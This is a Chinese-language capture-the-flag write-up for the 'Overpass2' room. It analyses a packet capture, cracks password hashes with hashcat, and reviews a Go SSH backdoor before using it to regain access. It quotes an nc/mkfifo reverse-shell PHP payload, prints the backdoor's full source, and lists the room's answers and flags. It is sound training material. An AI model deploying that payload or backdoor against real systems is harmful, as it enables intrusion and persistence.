Offensive Pentesting-Overpass2

这个room主要是一个流量分析溯源取证的 难度相对来说比较简单 同时分析完攻击行为之后 我们可以利用流量包中的记录来进行攻击靶机

Forensics - Analyse the PCAP

下载下来附件是一个流量包 直接追踪tcp流

第一个流中 上传了一个反弹shell马

image-20241211162338255

他们用来上传反向 shell 的页面的 URL 是什么?

/development

攻击者使用什么有效负载来获取访问权限?

<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f")?>

第三个流中就是一个反弹到shell后执行命令的记录

image-20241211162229233

也能看到使用su james命令登陆到了james用户

攻击者使用什么密码来获取权限?

whenevernoteartinstant

往后看到执行了sudo -l命令查看了当前james用户的sudo权限规则 查看哪些命令可以被执行

image-20241211163719988

在往后看 看到是下载了一个ssh的后门项目 应该就是通过这个来进行持久化的

image-20241211202301336

攻击者是如何建立持久性的?

https://github.com/NinjaJc01/ssh-backdoor

下一道题 需要我们来爆破密码 因为根据sudo -l的结果 james拥有root权限的 所以是可以读取/etc/shadow的内容的

image-20241211202509782

这里一共是获取到了五个用户的密码哈希值 我们可以使用hashcat来进行爆破 题干中也提示了使用fasttrack字典来进行爆破

先来找一下这个字典具体的位置

sudo find / -name "*fasttrack*"

image-20241211203759227

hashcat -m 1800 -a 0 hash1.txt /usr/share/wordlists/fasttrack.txt

可以看到出了james的登陆密码 剩下四个用户的密码都爆破出来了

image-20241211205352551

使用 fasttrack 单词列表,有多少系统密码是可破解的?

4

Research - Analyse the code

接上一部分 我们已经找到了他进行持久化使用的后门程序 我们直接去GitHub上把这个项目下载下来 https://github.com/NinjaJc01/ssh-backdoor

这应该是一个使用go语言编写的脚本程序

image-20241211205528116

打开查看源代码

package main

import (
    "crypto/sha512"
    "fmt"
    "io"
    "io/ioutil"
    "log"
    "net"
    "os/exec"

    "github.com/creack/pty"
    "github.com/gliderlabs/ssh"
    "github.com/integrii/flaggy"
    gossh "golang.org/x/crypto/ssh"
    "golang.org/x/crypto/ssh/terminal"
)

var hash string = "bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3"

func main() {
    var (
        lport       uint   = 2222
        lhost       net.IP = net.ParseIP("0.0.0.0")
        keyPath     string = "id_rsa"
        fingerprint string = "OpenSSH_8.2p1 Debian-4"
    )

    flaggy.UInt(&lport, "p", "port", "Local port to listen for SSH on")
    flaggy.IP(&lhost, "i", "interface", "IP address for the interface to listen on")
    flaggy.String(&keyPath, "k", "key", "Path to private key for SSH server")
    flaggy.String(&fingerprint, "f", "fingerprint", "SSH Fingerprint, excluding the SSH-2.0- prefix")
    flaggy.String(&hash, "a", "hash", "Hash for backdoor")
    flaggy.Parse()

    log.SetPrefix("SSH - ")
    privKeyBytes, err := ioutil.ReadFile(keyPath)
    if err != nil {
        log.Panicln("Error reading privkey:\t", err.Error())
    }
    privateKey, err := gossh.ParsePrivateKey(privKeyBytes)
    if err != nil {
        log.Panicln("Error parsing privkey:\t", err.Error())
    }
    server := &ssh.Server{
        Addr:            fmt.Sprintf("%s:%v", lhost.String(), lport),
        Handler:         sshterminal,
        Version:         fingerprint,
        PasswordHandler: passwordHandler,
    }
    server.AddHostKey(privateKey)
    log.Println("Started SSH backdoor on", server.Addr)
    log.Fatal(server.ListenAndServe())
}
func verifyPass(hash, salt, password string) bool {
    resultHash := hashPassword(password, salt)
    return resultHash == hash
}

func hashPassword(password string, salt string) string {
    hash := sha512.Sum512([]byte(password + salt))
    return fmt.Sprintf("%x", hash)
}

func sshHandler(s ssh.Session) {
    command := s.RawCommand()
    if command != "" {
        s.Write(runCommand(command))
        return
    }
    term := terminal.NewTerminal(s, "$ ")
    for {
        command, _ = term.ReadLine()
        if command == "exit" {
            return
        }
        term.Write(runCommand(command))
    }
}

func sshterminal(s ssh.Session) {
    cmd := exec.Command("/bin/bash", "-i")
    ptyReq, _, isPty := s.Pty()
    if isPty {
        cmd.Env = append(cmd.Env, fmt.Sprintf("TERM=%s", ptyReq.Term))
        f, err := pty.Start(cmd)
        if err != nil {
            panic(err)
        }
        go func() {
            io.Copy(f, s) // stdin
        }()
        io.Copy(s, f) // stdout
        cmd.Wait()
    } else {
        io.WriteString(s, "No PTY requested.\n")
        s.Exit(1)
    }
}

func runCommand(cmd string) []byte {
    result := exec.Command("/bin/bash", "-c", cmd)
    response, _ := result.CombinedOutput()
    return response
}

func passwordHandler(_ ssh.Context, password string) bool {
    return verifyPass(hash, "1c362db832f3f864c8c2fe05f2002a05", password)
}

What’s the default hash for the backdoor?

bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3

What’s the hardcoded salt for the backdoor?

1c362db832f3f864c8c2fe05f2002a05

下一题看起来他应该是使用了这个后门程序破解了一个哈希值 对应在流量包的这个部分

image-20241211205812063

What was the hash that the attacker used? - go back to the PCAP for this!

6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed

我们可以使用rockyou.txt来破解一下这个哈希值 根据前面源码可以得知 这个哈希值应该是sha512

func hashPassword(password string, salt string) string {
    hash := sha512.Sum512([]byte(password + salt))
    return fmt.Sprintf("%x", hash)
}

对应使用的hashcat命令是

hashcat -m 1710 -a 0 hash.txt rockyou.txt

image-20241211210312017

image-20241211210123923

Crack the hash using rockyou and a cracking tool of your choice. What’s the password?

november16

Attack - Get back in!

现在事件已经被调查,Paradox 需要有人再次控制 Overpass 生产服务器。

盒子上有一些flag,Overpass 不能因为格式化服务器而丢失!

攻击者污损了网站。他们留下了什么信息作为标题?

H4ck3d by CooctusClan

首先是第一题 这个其实在流量包中就能看到 当然直接访问靶机网站也可以

image-20241211211954409

image-20241211210442255

现在 我们有了一组账密 可以直接使用ssh连接上这台靶机 再根据上面代码中的内容 判断出应该是使用2222端口进行ssh连接

func main() {
    var (
        lport       uint   = 2222
        lhost       net.IP = net.ParseIP("0.0.0.0")
        keyPath     string = "id_rsa"
        fingerprint string = "OpenSSH_8.2p1 Debian-4"
    )

事实上 我们可以扫一下端口 发现确实2222端口也存在ssh服务

image-20241211211905076

ssh james@10.10.187.108 -p 2222

但是发生报错

image-20241211211924433

gpt一下 大概意思是服务器只支持旧的 ssh-rsa 算法,而我的客户端可能已禁用此算法,特别是在较新版本的 OpenSSH 中。

那修改一下命令

ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa -p 2222 james@10.10.187.108

连接成功

image-20241211212040471

先读user的flag

image-20241211212426855

再看一下suid

image-20241211213117845

有个.suid_bash 应该可以bash提权 直接读root的flag

image-20241211213140850

What’s the user flag?

thm{d119b4fa8c497ddb0525f7ad200e6567}

What’s the root flag?

thm{d53b2684f169360bb9606c333873144d}